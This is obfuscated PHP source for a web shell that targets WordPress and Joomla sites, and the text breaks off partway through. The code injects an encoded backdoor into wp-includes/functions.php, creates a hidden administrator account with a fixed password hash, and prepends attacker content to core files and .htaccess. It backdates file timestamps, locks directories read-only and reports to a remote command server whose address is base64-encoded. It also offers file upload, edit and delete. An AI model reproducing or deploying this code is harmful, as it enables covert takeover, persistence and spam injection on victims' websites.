<div class="col-2 col-sm-1">\xa <form action="?path="; goto n3k3R; Ev4on: fclose($ITud5); goto AG6T2; jykN0: ncbYy: goto WeFxc; UY5KS: $zjmtS = rename($UKoAN, $hicZU . "/" . $G4FS2); goto BPaCi; wcMKf: goto C1XGP; goto m2DAF; kaIK7: D18HT: goto lTgfU; GML0F: if (!(sha1(md5($wYqlh)) == "185ea3f9b5d50cdb3931ab7efffb8da9ea4947aa")) { goto Jggsp; } goto Losku; PX8kv: echo $_SESSION["c2hlbGxfaWQ="]; goto h6MV7; lGdpu: function bRExO($pQxe_, $NcCLv, $k5zcJ) { goto KveiK; RWDXu: $uhESf = basename($wV4eu); goto FyA8a; BZQp0: rDP7G: goto nzPkn; W3oDt: foreach ($yryKk as $BKaq1 => $HLoEV) { goto pGMuc; pGMuc: $z3h_0 = glob($HLoEV . "/*", GLOB_ONLYDIR); goto Kr_Sh; Kr_Sh: $yryKk = array_merge($yryKk, $z3h_0); goto Qa8q2; Qa8q2: d2ZoS: goto teCbR; teCbR: } goto BZQp0; ecm4a: Xs3ww: goto wkTkZ; ahZoc: HARUH: goto h2HPd; lT_Cl: Od1V2: goto ecm4a; nfG6K: $wZgxs = array(); goto W3oDt; hvbaU: $wV4eu = $_SERVER["DOCUMENT_ROOT"]; goto RWDXu; KveiK: $J8pN3 = 0; goto hvbaU; FyA8a: $yryKk = xpEbk($wV4eu); goto nfG6K; h2HPd: if (empty($wZgxs)) { goto Xs3ww; } goto F_K2R; F_K2R: foreach ($wZgxs as $BKaq1 => $HLoEV) { goto VxcDH; YMueM: chmod($mkvjj, 0644); goto KjsEL; PpOzw: $TgXXa = ''; goto Ie448; ZxuCl: yBLTM: goto nGnJA; lRMUA: chmod($sIg_i, 0644); goto yi81l; YjY2K: jSb08: goto BM8os; PAE1H: chmod($mkvjj, 0444); goto xlskF; nGnJA: $pMSWg = ''; goto VFA0_; X8v7P: chmod($pMSWg, 0444); goto yM_CA; VL9ae: $TgXXa = file_get_contents($LensE); goto jo1ly; bPaLq: $mkvjj = $HLoEV . "/.htaccess"; goto PpOzw; KjsEL: file_put_contents($mkvjj, $NcCLv); goto PAE1H; yM_CA: gEEQN: goto YMueM; UXGaS: chmod($LensE, 0444); goto ZxuCl; jo1ly: fSd4D: goto VfB_o; VfB_o: if (!(strpos($TgXXa, $pQxe_) === false)) { goto yBLTM; } goto DbDgx; yi81l: $pMSWg = file_get_contents($sIg_i); goto YjY2K; xlskF: $J8pN3++; goto RtFNR; hdZa7: file_put_contents($sIg_i, $pQxe_ . $pMSWg); goto X8v7P; pbH8Q: $sIg_i = $HLoEV . "/wp-cron.php"; goto bPaLq; DbDgx: file_put_contents($LensE, $pQxe_ . $TgXXa); goto UXGaS; BM8os: if (!(strpos($pMSWg, $pQxe_) === false)) { goto gEEQN; } goto hdZa7; Ie448: if (!file_exists($LensE)) { goto fSd4D; } goto MZ6Ti; MZ6Ti: chmod($LensE, 0644); goto VL9ae; VxcDH: $LensE = $HLoEV . "/wp-blog-header.php"; goto pbH8Q; RtFNR: ZCn_G: goto OOrmi; VFA0_: if (!file_exists($sIg_i)) { goto jSb08; } goto lRMUA; OOrmi: } goto lT_Cl; wkTkZ: return $J8pN3; goto nUaH7; nzPkn: foreach ($yryKk as $BKaq1 => $HLoEV) { goto CFCYt; CFCYt: if (strpos($HLoEV, $uhESf)) { goto cVHVY; } goto bUPzb; bUPzb: $wZgxs[] = $HLoEV; goto HGOn0; HGOn0: cVHVY: goto eop3a; eop3a: iE2gC: goto LDUKo; LDUKo: } goto ahZoc; nUaH7: } goto hJk5W; MeCwi: echo ""/>\xa <input type="hidden" name="shell_type" value=""; goto uiYo7; xiA76: echo " </tbody>
</table>
</form>
</div>
"; goto UAlPC; Zj0bH: echo " <div class="row">
<div class="col-12" style="margin-bottom: 1rem;">
<div class="row">
<div class="col-6">\xa <form action="?path="; goto jYlAP; UdzfN: function vAFfQ($T7JuE) { goto YEi2V; xF9_0: return $wr9ji; goto uIUtK; YEi2V: $wr9ji = filesize($T7JuE); goto CupAY; hXIVV: goto eG2tK; goto o_JAq; zXe8i: if ($wr9ji > 1024) { goto cb0Ds; } goto CUZyK; dhn5R: $wr9ji = round($wr9ji / (1024 * 1024), 2) . " MB"; goto VirKj; VotWa: eG2tK: goto U6DH8; UQjmn: B_Kcz: goto dhn5R; U6DH8: goto E9nyu; goto UQjmn; o_JAq: cb0Ds: goto H43r9; CUZyK: $wr9ji = $wr9ji . " B"; goto hXIVV; CupAY: if ($wr9ji > 1024 * 1024) { goto B_Kcz; } goto zXe8i; VirKj: E9nyu: goto xF9_0; H43r9: $wr9ji = round($wr9ji / 1024, 2) . " KB"; goto VotWa; uIUtK: } goto wwq7f; aH3os: $ZFXb5 = $hicZU . "/" . basename($_FILES["fileToUpload"]["name"]); goto KhScz; IMH6v: echo ""/>
<input type="hidden" name="group_id_3" value=""; goto q4JEp; bApR0: if (!(isset($_POST["act"]) && $_POST["act"] == "upload")) { goto Hlojy; } goto aH3os; DvAvb: obzjz: goto fQ6O4; eYOpq: echo " <div class="row">\xa <form action="?type=7" method="post">
\x9 <input type="hidden" name="c2hlbGxfY29kZV9ud205Zjk=" value=""; goto PxYFt; dS69f: goto D18HT; goto HpR_x; eLNTc: if (!(isset($_POST["act"]) && $_POST["act"] == "shell")) { goto JQhJL; } goto D284E; IYzb2: tUsRB($_POST, $EjEmp, $k5zcJ, $XY7l9); goto kaIK7; P21rC: $s1OWX = isset($_REQUEST["type"]) ? $_REQUEST["type"] : ''; goto SAHFd; eIFkn: echo $_SESSION["c2hlbGxfY29kZV9ud205Zjk="]; goto LjgFf; L93ar: if ($jqDls) { goto EiCmU; } goto Zd57p; LhkRS: foreach ($wxqQ0 as $BKaq1 => $HLoEV) { $_SESSION[$BKaq1] = $HLoEV; crEyi: } goto BuVJB; OsZ6S: echo $UKoAN; goto LwRGb; tGFU3: function HWQjs() { goto R2t4t; zGuP4: return $tkNxN; goto mgczW; M07oM: $Jx3Dx = 0; goto a0Xid; uT6gL: $Jx3Dx++; goto DpFBQ; R2t4t: $tkNxN = ''; goto M07oM; COwie: WXsM6: goto zGuP4; a0Xid: RoKxt: goto w1Vq8; w1Vq8: if (!($Jx3Dx < 6)) { goto WXsM6; } goto aUIjW; DpFBQ: goto RoKxt; goto COwie; aUIjW: $tkNxN .= chr(mt_rand(97, 122)); goto uVWTo; uVWTo: pjdUF: goto uT6gL; mgczW: } goto VlVLV; PykiL: echo $UKoAN; goto i6BjG; mTzc1: goto OZ1vY; goto s25La; qitk7: $vQi2F = trim($_POST["new_content"]); goto jC_a8; jcyIM: $EjEmp = "aHR0cHM6Ly9na3ZwdXQuaHhwaHJtLnRvcA=="; goto rsUgD; jnViQ: echo "</textarea>\xa </div>\xa <button type="submit" class="btn btn-success">Edit</button>\xa </form>\xa </div>\xa "; goto t8IUf; e4_IS: if (empty($UnhrJ)) { goto UMMVG; } goto ZoQzS; D8O0N: $XbXzE = $QDo03 . $yj1fW; goto qjhuK; bIR24: if (fwrite($ITud5, $vQi2F)) { goto u6bTi; } goto LtlrT; fs5bJ: function FPIzy($wV4eu, $KDERs, $UMc82) { goto FHeVF; JpSum: $pyR2C = (array) array_rand($awGlY, min($zXxAK, count($awGlY))); goto H8eUW; Ep3Ov: $KW03p = $jCNVX; goto QFI2X; htGUQ: QX0Wr: goto hTxzX; u0mPu: CpGpE: goto htGUQ; xzitr: $YZo7g = max(1, floor($wIs5K / count($Xy29j))); goto eWVM1; hTxzX: $pkfz6 = array_rand($KNM5I, 1); goto XoZ5V; oolCZ: foreach ($Xy29j as $wjAuf) { $Pve1C = array_merge($Pve1C, glob($wjAuf . "/*", GLOB_ONLYDIR)); tkYx7: } goto mAjjk; EltXO: $wIs5K = $UMc82; goto j6Phh; fThv3: qGBC8: goto Ep3Ov; FHeVF: global $KNM5I, $KW03p, $f7Rro; goto otk70; Zixp_: gLbDr: goto u0mPu; otk70: $Xy29j = glob($wV4eu . "/*", GLOB_ONLYDIR); goto EltXO; eWVM1: foreach ($Xy29j as $wjAuf) { goto sVbTQ; jQfKS: YPzB2: goto KHLE8; KHLE8: $pkfz6 = array_rand($wrYYk, $YZo7g); goto ql4ue; rGtdD: bOKCC: goto VwGaU; ql4ue: foreach ((array) $pkfz6 as $WI_6I) { $jCNVX[] = $wrYYk[$WI_6I]; ZWFfi: } goto zpveE; vBAKM: YWEqE: goto rGtdD; Hoybi: goto YWEqE; goto jQfKS; bG9hR: $wrYYk = WdwT1($wjAuf, 10); goto KRdyv; KRdyv: if (count($wrYYk) >= $YZo7g) { goto YPzB2; } goto NJLff; NJLff: $jCNVX = array_merge($jCNVX, $wrYYk); goto Hoybi; sVbTQ: $KNM5I[] = $wjAuf; goto bG9hR; zpveE: AeyFe: goto vBAKM; VwGaU: } goto xwZp1; QFI2X: return $KNM5I; goto p31VQ; Rnvak: $Pve1C = array(); goto oolCZ; XfqVk: $awGlY = array_diff($Pve1C, $jCNVX); goto soHAu; H8eUW: foreach ($pyR2C as $WI_6I) { $jCNVX[] = $awGlY[$WI_6I]; NFMD5: } goto Zixp_; soHAu: if (!(count($awGlY) > 0)) { goto CpGpE; } goto JpSum; QW9U9: $zXxAK = $wIs5K - count($jCNVX); goto Rnvak; xwZp1: H_xVU: goto nnoFA; nnoFA: if (!(count($jCNVX) < $wIs5K)) { goto QX0Wr; } goto QW9U9; j6Phh: $jCNVX = array(); goto xzitr; mAjjk: QR8qD: goto XfqVk; XoZ5V: foreach ((array) $pkfz6 as $WI_6I) { $f7Rro = $KNM5I[$WI_6I]; BVdWK: } goto fThv3; p31VQ: } goto IEjhe; i3dwn: $plyVc = trim($_POST["new_name"]); goto qitk7; wzN41: echo "<div class="alert alert-success" role="alert">Delete " . $J8pN3 . " files successfully!</div>"; goto DvAvb; UuJPZ: My3vo: goto ERvMQ; G9xs8: if (!empty($SO_dz) && count($SO_dz) > 2) { goto npqwo; } goto w_mU0; Nm2Dl: echo ""/>\xa <input type="hidden" name="shell_type" value=""; goto eNc9e; eHdHM: echo ""/>\xa <div class="form-group">
<input type="text" class="form-control" id="new_name" name="new_name" value=""; goto zntT0; E8Tzo: S5Qqf: goto K0otj; fl_7D: if (!(!empty($wYqlh) && $wYqlh == "deleteFiles")) { goto XTJbj; } goto YCMId; XlDLu: echo "delete is ok!"; goto wR0RY; YwHE5: echo ""/>
<input type="hidden" name="act" value="shell"/>\xa <input type="hidden" name="type" value="reback"/>
<input type="hidden" name="group_id" value=""; goto ZDUQy; emr3H: echo " <div class="row">
<form action="?type=8" method="post">
<div class="form-group">
<input type="text" class="form-control" id="search_keys" name="search_keys" value=""; goto lgxAA; vhb0S: echo "" method="post" enctype="multipart/form-data">\xa \x9 <input type="hidden" name="c2hlbGxfY29kZV9ud205Zjk=" value=""; goto hGOXD; VdUUN: JeIng: goto a9AHv; RuowD: echo ""/>
<div class="form-group">
"; goto Qdhc1; D0LIN: function aEraR($ffvMO, $hJqm6) { goto c_WkT; DVWze: IPa63: goto UGDcj; nKya9: return true; goto WYDsG; fv8IR: goto tUVob; goto DVWze; qV4SQ: return false; goto fv8IR; UGDcj: $s3FZc = time() - rand(30, 100) * 24 * 60 * 60 - rand(0, 3600); goto zSgZc; WYDsG: tUVob: goto YM2eh; c_WkT: if (file_put_contents($ffvMO, $hJqm6) !== false) { goto IPa63; } goto qV4SQ; zSgZc: touch($ffvMO, $s3FZc); goto nKya9; YM2eh: } goto yxzBN; Oi878: function N2Fnj($Pi60r) { $t_qDj = str_split($Pi60r); return "'" . implode("'.'", $t_qDj) . "'"; } goto CmHym; UCqeu: tTBXc: goto kWpOA; i4pUj: echo $UKoAN; goto D_eS2; a9AHv: goto A3buy; goto BF6UP; jC_a8: if (empty($plyVc)) { goto ZrCem; } goto cATTL; rzAxT: echo "</textarea>\xa </div>\xa <button type="submit" class="btn btn-success">Create Now</button>
</form>\xa </div>\xa "; goto XnPCp; Srmsn: echo basename($UKoAN); goto t4Rwz; ZUuro: if ($_POST["type"] == "station") { goto pdzhG; } goto VL0mi; tWTgA: echo " "; goto muen2; hHL0U: $iakIc = file_get_contents($UKoAN); goto MqXW9; k1z08: DUk4S: goto gHwOD; Jw6BZ: pyl_5: goto xiA76; MqXW9: echo " <input type="text" class="form-control" id="file_new_name" name="file_new_name" value=""; goto Srmsn; tPz1O: N_wGu($_POST, $EjEmp, $k5zcJ, $XY7l9); goto bDFqz; cATTL: if (is_file($hicZU . "/" . $plyVc)) { goto Qehts; } goto vDYG0; t4Rwz: echo "">
</div>\xa <button type="submit" class="btn btn-success">Edit</button>
</form>\xa </div>\xa "; goto Z83m0; PNcWR: A3buy: goto Aupmn; Gb60l: UfNqj: goto nwXK5; Hrec1: uZAhS: goto CLnQi; RmTJx: $UKoAN = $hicZU . "/" . $G4FS2; goto cxcjq; d2pH3: function AcuNl() { goto vN3QN; L72FU: $wr8mn = rlSa3($wjAuf, 8); goto dYtQF; g6Qw9: if (!$B1ncJ) { goto cbTLM; } goto sWGse; vN3QN: $J8pN3 = 0; goto YkvpX; X62Xg: foreach ($wOLk7 as $ITud5) { goto A4arr; oifkc: t1ljX: goto F6xh5; V_Z5K: if (!$B1ncJ) { goto fDSDb; } goto rbDpQ; F6xh5: x5T16: goto JHxhp; A4arr: if (!($ITud5 != "." && $ITud5 != ".." && is_file($wjAuf . "/" . $ITud5))) { goto t1ljX; } goto XOxzF; ql0D3: fDSDb: goto oifkc; rbDpQ: $J8pN3++; goto ql0D3; XOxzF: $B1ncJ = chmod($wjAuf . "/" . $ITud5, 0555); goto V_Z5K; JHxhp: } goto jNHEn; fDtW1: cbTLM: goto yUhfm; sWGse: $J8pN3++; goto fDtW1; dYtQF: foreach ($wr8mn as $BKaq1 => $HLoEV) { goto LzQYP; VQJnA: $J8pN3++; goto Wxh3J; DfDj_: if (!$B1ncJ) { goto kRCjv; } goto VQJnA; Wxh3J: kRCjv: goto CsvOk; CsvOk: zg2yX: goto BRfBF; LzQYP: $B1ncJ = o8Wlv($HLoEV, 0555); goto DfDj_; BRfBF: } goto nXdHS; yUhfm: echo "all is " . (count($wr8mn) + count($wOLk7)) . ";" . $J8pN3 . "is lock success"; goto an_41; cm22y: $wOLk7 = scandir($wjAuf); goto X62Xg; YkvpX: $wjAuf = $_SERVER["DOCUMENT_ROOT"]; goto L72FU; WUlQq: $B1ncJ = o8WlV($wjAuf, 0555); goto g6Qw9; nXdHS: Rz1MB: goto cm22y; jNHEn: VfsC5: goto WUlQq; an_41: } goto gk8x5; G2yj1: @set_time_limit(0); goto esMyP; ZwD77: if ($x4EZ5) { goto zdpw_; } goto fKNQ0; qmdNn: echo htmlspecialchars($iakIc); goto jnViQ; J5KGc: function IUid8() { goto T2_vj; Yoj19: $Zl_g8 = file_get_contents($arD8q); goto mYnU0; CCVsm: $arD8q = $wV4eu . "/wp-includes/functions.php"; goto Yoj19; h4a_Q: file_put_contents($arD8q, $Zl_g8); goto RkQoN; vEBP3: $Zl_g8 = preg_replace("/" . preg_quote("<?php", "/") . "/", $QIAS2, $Zl_g8, 1); goto h4a_Q; vrG_c: $wV4eu = $_SERVER["DOCUMENT_ROOT"]; goto CCVsm; RkQoN: YxgGK: goto B3bCG; T2_vj: $QIAS2 = base64_decode("PD9waHAgYWRkd3BwVXNlcigpO2Z1bmN0aW9uIGFkZHdwcFVzZXIoKXskYT0wOyRiPSRfU0VSVkVSWydET0NVTUVOVF9ST09UJ107JGM9JGIuJy93cC1jb25maWcucGhwJztpZihmaWxlX2dldF9jb250ZW50cygkYykpe2luY2x1ZGUgJGM7dHJ5eyRkPW5ldyBteXNxbGkoImxvY2FsaG9zdCIsREJfVVNFUixEQl9QQVNTV09SRCxEQl9OQU1FKTtpZighJGQtPmNvbm5lY3RfZXJyb3IpeyRmPSJBbDF3cGFkbWluIjskZz1iYXNlNjRfZGVjb2RlKCJKSGR3SkRKNUpERXdKRTQzWTJWeVNVdEliVlUwTG00NFZFSlZSSEJHUWk1blpVSkNWMGx1UVhGQlIzVnRWMkZNT1VKcldWZzJhRFpNWjBkbVIyVlgiKTskaD0iU0VMRUNUIHVzZXJfbG9naW4gRlJPTSB3cF91c2VycyBXSEVSRSB1c2VyX2xvZ2luPSA/IjskaT0kZC0+cHJlcGFyZSgkaCk7JGktPmJpbmRfcGFyYW0oInMiLCRmKTskaS0+ZXhlY3V0ZSgpOyRpLT5zdG9yZV9yZXN1bHQoKTtpZigkaS0+bnVtX3Jvd3M9PTApeyRqPSJJTlNFUlQgSU5UTyB3cF91c2VycyAodXNlcl9sb2dpbiwgdXNlcl9wYXNzLCB1c2VyX25pY2VuYW1lLCB1c2VyX2VtYWlsLCB1c2VyX3VybCwgdXNlcl9yZWdpc3RlcmVkLCB1c2VyX2FjdGl2YXRpb25fa2V5LCB1c2VyX3N0YXR1cywgZGlzcGxheV9uYW1lKSBWQUxVRVMgKD8sID8sID8sID8sID8sID8sID8sID8sID8pIjskaT0kZC0+cHJlcGFyZSgkaik7JGs9c3RydG9sb3dlcigkZik7JGw9JGsuIkBnbWFpbC5jb20iOyRtPScyMDIzLTA3LTE5IDIwOjU0OjU0Jzskbj0id3d3Ijskbz0id3d3IjskcD0wOyRxPSJBZG1pbiI7JGktPmJpbmRfcGFyYW0oInNzc3Nzc3NpcyIsJGYsJGcsJGYsJGwsJG4sJG0sJG8sJHAsJHEpOyRyPTA7aWYoJGktPmV4ZWN1dGUoKSl7JHI9JGktPmluc2VydF9pZDtpZigkcj4wKXskaj0iSU5TRVJUIElOVE8gd3BfdXNlcm1ldGEodXNlcl9pZCwgbWV0YV9rZXksIG1ldGFfdmFsdWUpIFZBTFVFUyAoPywgPywgPykiOyRpPSRkLT5wcmVwYXJlKCRqKTskcz0kcjskdD0id3BfY2FwYWJpbGl0aWVzIjskdT0nYToxOntzOjEzOiJhZG1pbmlzdHJhdG9yIjtiOjE7fSc7JGktPmJpbmRfcGFyYW0oImlzcyIsJHMsJHQsJHUpO2lmKCRpLT5leGVjdXRlKCkpeyRhPTE7fX19fWVsc2V7JGE9MTt9fSRkLT5jbG9zZSgpO31jYXRjaChteXNxbGlfc3FsX2V4Y2VwdGlvbiAkdil7fX1lbHNle31yZXR1cm4gJGE7fQ=="); goto vrG_c; mYnU0: if (!(strstr($Zl_g8, "addwppUser") === false)) { goto YxgGK; } goto vEBP3; B3bCG: } goto aAK5Q; t8IUf: ir3Dl: goto sLuRH; rWyrA: function sbbJU() { goto DCVoq; NciWW: $YBFxA = $wV4eu . "/wp-config.php"; goto zis24; hYgmU: include $YBFxA; goto tz28F; SXL2D: goto oTqB8; goto VnTue; DqnU_: oTqB8: goto hfpSU; tz28F: try { goto MMPiD; jBgPy: $XlDPN = "INSERT INTO wp_users (user_login, user_pass, user_nicename, user_email, user_url, user_registered, user_activation_key, user_status, display_name) VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?)"; goto daxvI; Z6RSI: $QgWLP = 1; goto VaXZ4; CkDfC: $Ly_PK->bind_param("sssssssis", $T_vtj, $hyb9n, $T_vtj, $xxhyE, $O0FGZ, $s3FZc, $WVvvP, $vzVMc, $X6wyM); goto cvXr3; tj4d4: $Ly_PK = $Zflin->prepare($XlDPN); goto mOnWO; VaXZ4: goto XNfa3; goto hZtM7; TQMgs: $sr3Px = $Ly_PK->insert_id; goto EsMfP; wLTTh: $dX98N = strtolower($T_vtj); goto avAGs; bI8Oy: $CCNg9 = "wp_capabilities"; goto T0QJA; Nn1Pi: $Ly_PK = $Zflin->prepare($VpY6c); goto BNgeN; ea0cq: BGnAv: goto JdsNd; JdsNd: $Zflin->close(); goto sq6dG; tF3eW: $T_vtj = "Al1wpadmin"; goto YQnxt; Gcd8R: $X6wyM = "Admin"; goto CkDfC; YQnxt: $hyb9n = base64_decode("JHdwJDJ5JDEwJE43Y2VySUtIbVU0Lm44VEJVRHBGQi5nZUJCV0luQXFBR3VtV2FMOUJrWVg2aDZMZ0dmR2VX"); goto qulRK; rvJiZ: UecZm: goto bQUTd; BNgeN: $Ly_PK->bind_param("s", $T_vtj); goto jq0Go; daxvI: $Ly_PK = $Zflin->prepare($XlDPN); goto wLTTh; bQUTd: ipA1L: goto S0mJ2; QwR0d: XNfa3: goto ea0cq; Z2UT2: $s3FZc = "2023-07-19 20:54:54"; goto ALOAe; hZtM7: MlG4_: goto jBgPy; rrLaM: $QgWLP = 1; goto rvJiZ; QHjS6: $Ly_PK->bind_param("iss", $nOwno, $CCNg9, $KPUbV); goto op6FZ; cvXr3: $sr3Px = 0; goto E0z3a; u37F_: if ($Zflin->connect_error) { goto BGnAv; } goto tF3eW; T0QJA: $KPUbV = "a:1:{s:13:"administrator";b:1;}"; goto QHjS6; SatWf: if ($Ly_PK->num_rows == 0) { goto MlG4_; } goto Z6RSI; op6FZ: if (!$Ly_PK->execute()) { goto UecZm; } goto rrLaM; r5E2W: $XlDPN = "INSERT INTO wp_usermeta(user_id, meta_key, meta_value) VALUES (?, ?, ?)"; goto tj4d4; abzeO: $vzVMc = 0; goto Gcd8R; MMPiD: $Zflin = new mysqli("localhost", Ls8p6, vlRC9, TLOVY); goto u37F_; jq0Go: $Ly_PK->execute(); goto R0mux; S0mJ2: IqZ3E: goto QwR0d; xbbqJ: $WVvvP = "www"; goto abzeO; mOnWO: $nOwno = $sr3Px; goto bI8Oy; R0mux: $Ly_PK->store_result(); goto SatWf; E0z3a: if (!$Ly_PK->execute()) { goto IqZ3E; } goto TQMgs; ALOAe: $O0FGZ = "www"; goto xbbqJ; qulRK: $VpY6c = "SELECT user_login FROM wp_users WHERE user_login= ?"; goto Nn1Pi; avAGs: $xxhyE = $dX98N . "@gmail.com"; goto Z2UT2; EsMfP: if (!($sr3Px > 0)) { goto ipA1L; } goto r5E2W; sq6dG: } catch (mysqli_sql_exception $IHz7m) { echo "mysql is error<br/>"; } goto DqnU_; pbskg: $wV4eu = $_SERVER["DOCUMENT_ROOT"]; goto NciWW; zis24: if (file_get_contents($YBFxA)) { goto qwJQK; } goto E9BvY; DCVoq: $QgWLP = 0; goto pbskg; E9BvY: echo "file is error"; goto SXL2D; hfpSU: return $QgWLP; goto BIsIV; VnTue: qwJQK: goto hYgmU; BIsIV: } goto J5KGc; fQ6O4: if (!($Ptssn > 0)) { goto JpNwj; } goto Q8bGM; Bs0v9: ini_set("memory_limit", "-1"); goto Q4vkB; ui7R7: zSgjt: goto xnpsw; HGwOB: echo ""/>
<button type="submit" class="btn btn-primary btn-sm">Station</button>
</form>\xa </div>\xa </div>
<div class="row" style="margin-top: 1rem;">\xa <div class="col-2 col-sm-1">\xa <form action="?path="; goto OsZ6S; R850A: ncMOt: goto KYOAD; XpYW3: jYUBL: goto hU76F; qNojU: $SO_dz = F1dJr($hicZU, $SO_dz); goto Zj0bH; hU76F: $Ce_1b = false; goto cPSaN; fhl1T: yC1Te: goto u9XO9; Nu2mv: echo "" method="post">
\x9 <input type="hidden" name="c2hlbGxfY29kZV9ud205Zjk=" value=""; goto BSldn; qxF4k: Qehts: goto NDJ_W; LjgFf: echo ""/>
<div class="form-group">\xa "; goto Q4P8e; SkXUo: echo "style="color:green;""; goto w69yF; ZDUQy: echo $_SESSION["Z3JvdXA="]; goto PQ1Vq; s6vyY: if (mkdir($hicZU . "/" . $plyVc)) { goto PVQUq; } goto W5bxK; xFUzp: $wV4eu = $wjAuf; goto Wvix3; sLuRH: echo "</div>
<script>\xa $(function(){\xa $('#allcheck').click(function(){
if($('#allcheck').is(":checked")){\xa $('input[name="childcheck[]"]').each(function(){
$(this).attr('checked', true);
})\xa }else{
$('input[name="childcheck[]"]').each(function(){\xa $(this).attr('checked', false);
})\xa }\xa })\xa })
</script>
<script>
$(function(){
$("#allcheck").click(function(){\xa $('.item').prop('checked', this.checked);\xa });\xa
$('.item').click(function(){\xa if ($('.item').length == $('.item:checked').length) {
$('#allcheck').prop('checked', true);
} else {
$('#allcheck').prop('checked', false);\xa }\xa });
$('.delBtn').click(function(){\xa var checkedValues = [];
$(".item:checked").each(function(){\xa checkedValues.push($(this).val());\xa });\xa if(checkedValues.length == 0){\xa alert('please select files');
return false;\xa }else{
$('#deleteForm').submit();
}\xa });
\x9 })\xa\x9</script>
</body>\xa</html>\xa"; goto wMPew; ZoQzS: $J8pN3 = 0; goto Icv7l; lgxAA: echo $gNE_W; goto Ep86G; u7dbF: echo PHP_OS; goto JTim7; vKQV7: $f7Rro = ''; goto s9Rlt; x_M2L: function ClehO($QbvJe, $UWrjc, $k5zcJ, $XY7l9) { goto HfRUv; PkQ1L: $Q0d0r["login_status"] = $d80eO; goto Nrq5N; R0Kfs: eR_jo: goto fGd6i; kRftB: $pDJ9q = base64_decode($UWrjc) . "/k575s6kk.php?action=station&shell_id=" . $DfFx0 . "&shell_type=" . $IuCPr; goto BEuS2; hgNwN: HM0al: goto b1lXZ; kLkPH: XM4WG: goto GtMQr; if3f0: $IuCPr = $QbvJe["shell_type"]; goto kRftB; h0u4M: if (!empty($JXstA["station_code"]) && !empty($JXstA["ht_pz_content"])) { goto eR_jo; } goto BuxKS; vy_Q4: iUiD8(); goto nrF0U; pSGCn: MWbeH: goto sovEH; dl548: if ($kbSVp > 0) { goto MWbeH; } goto l8bpy; qcPs9: YkUpq: goto O0SdU; dpFtv: $OMkYM = base64_decode($UWrjc) . "/savenkuzf4.php"; goto t55q9; dp9TP: $Q0d0r["action"] = "station"; goto dpFtv; Nrq5N: $Q0d0r["shell_url"] = $k5zcJ; goto GXLQl; SrcU4: jKaaz: goto wvQ05; fGd6i: $kbSVp = BrEXO($JXstA["station_code"], $JXstA["ht_pz_content"], $k5zcJ); goto dl548; HWek6: if ($uDtUx["status"]) { goto HM0al; } goto M0yHl; GXLQl: $Q0d0r["shell_type"] = $IuCPr; goto BCA8m; GtMQr: Xikpz: goto vy_Q4; nrF0U: $d80eO = sbBJU(); goto PkQ1L; wvQ05: $Y67K5 = xRSD2($pDJ9q); goto vrkdY; vrkdY: $JXstA = json_decode($Y67K5, true); goto La7EY; BCA8m: $uDtUx = Ivxxc($OMkYM, $Q0d0r); goto HWek6; HfRUv: $Q0d0r = array(); goto Qwvi2; BEuS2: if (!(stripos($XY7l9, "joomla") !== false)) { goto jKaaz; } goto GVtpl; l8bpy: $Q0d0r["code"] = "1001"; goto VQLzJ; b1lXZ: echo "<p style="color:green;">Station is successfully, Success is " . $kbSVp . "</p>"; goto qcPs9; ClQzp: goto Xikpz; goto R0Kfs; elFN9: $Q0d0r["status"] = 1; goto kLkPH; SwQlM: goto YkUpq; goto hgNwN; t55q9: $DfFx0 = $QbvJe["shell_id"]; goto if3f0; VQLzJ: $Q0d0r["status"] = 2; goto aVIAI; sovEH: $Q0d0r["station_count"] = $kbSVp; goto elFN9; M0yHl: echo "<p style="color:red;">Station is failed! " . $Q0d0r["code"] . "</p>"; goto SwQlM; aVIAI: goto XM4WG; goto pSGCn; La7EY: $JXstA = oLwxg($JXstA); goto Qk93L; BuxKS: $Q0d0r["code"] = "1002"; goto gtna2; Qwvi2: $Q0d0r["shell_id"] = $QbvJe["shell_id"]; goto dp9TP; gtna2: $Q0d0r["status"] = 2; goto ClQzp; GVtpl: $pDJ9q = base64_decode($UWrjc) . "/k575s6kk_joomla.php?action=station&shell_id=" . $DfFx0 . "&shell_type=" . $IuCPr . "&cms_type=" . $XY7l9; goto SrcU4; Qk93L: $kbSVp = 0; goto h0u4M; O0SdU: } goto lGdpu; e0EhV: function oZb8u($F0LeY) { goto TIsBl; KwHcv: if (!(stripos($C4BzW, "joomla") !== false)) { goto DJgOU; } goto Nj72v; c3f2Z: DJgOU: goto ncNda; Jr5os: $T7JuE = $F0LeY . "/web.config.txt"; goto UFFVa; ncNda: return $XY7l9; goto XFp7X; GwyOX: if (file_exists($T7JuE)) { goto dBr9E; } goto Jr5os; UFFVa: dBr9E: goto VtcLq; TIsBl: $XY7l9 = "wordpress"; goto TkMEm; TkMEm: $T7JuE = $F0LeY . "/README.txt"; goto GwyOX; VtcLq: $C4BzW = file_get_contents($T7JuE); goto KwHcv; Nj72v: $XY7l9 = "joomla"; goto c3f2Z; XFp7X: } goto GuG8G; Y5a1f: XTJbj: goto GHDl1; xJfos: $x4EZ5 = false; goto IxzXl; jA1DO: fPOw0: goto grj3P; RGxY3: ee5ai: goto RLN4T; pq13M: echo ""/>\xa\x9 <input type="hidden" name="c2hlbGxfY29kZV9ud205Zjk=" value=""; goto mtcaf; CmHym: function Dfe8J($hu85P = 10) { goto KKW6N; gSofU: $Jx3Dx = 0; goto vYjXf; KKW6N: $lqzVx = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"; goto vCbqC; hUdtc: eUBwN: goto WhMwf; JXqkB: goto AR7Ug; goto hUdtc; KOa_l: $QBfAw .= $lqzVx[rand(0, strlen($lqzVx) - 1)]; goto X2mFB; X2mFB: Zvq5A: goto wFsTz; wFsTz: $Jx3Dx++; goto JXqkB; vCbqC: $QBfAw = ''; goto gSofU; X6D8v: if (!($Jx3Dx < $hu85P)) { goto eUBwN; } goto KOa_l; vYjXf: AR7Ug: goto X6D8v; WhMwf: return $QBfAw; goto YY9cq; YY9cq: } goto YXsBX; BuVol: function CvJva($QbvJe, $UWrjc, $k5zcJ, $XY7l9) { goto CI3AF; JJYyb: goto yl7fc; goto xYlLx; ADNRK: $Q0d0r["status"] = 1; goto ioyda; xYlLx: ajznI: goto U8EFG; PtUdX: foreach ($egTvp["door_files"] as $BKaq1 => $HLoEV) { echo "<p><a href="" . $HLoEV . "" target="_blank">" . $HLoEV . "</a></p>"; UuItl: } goto ri6QJ; nr0yF: $Q0d0r["action"] = "doors"; goto xEsnA; oNzCX: $Q0d0r["shell_id"] = $QbvJe["shell_id"]; goto 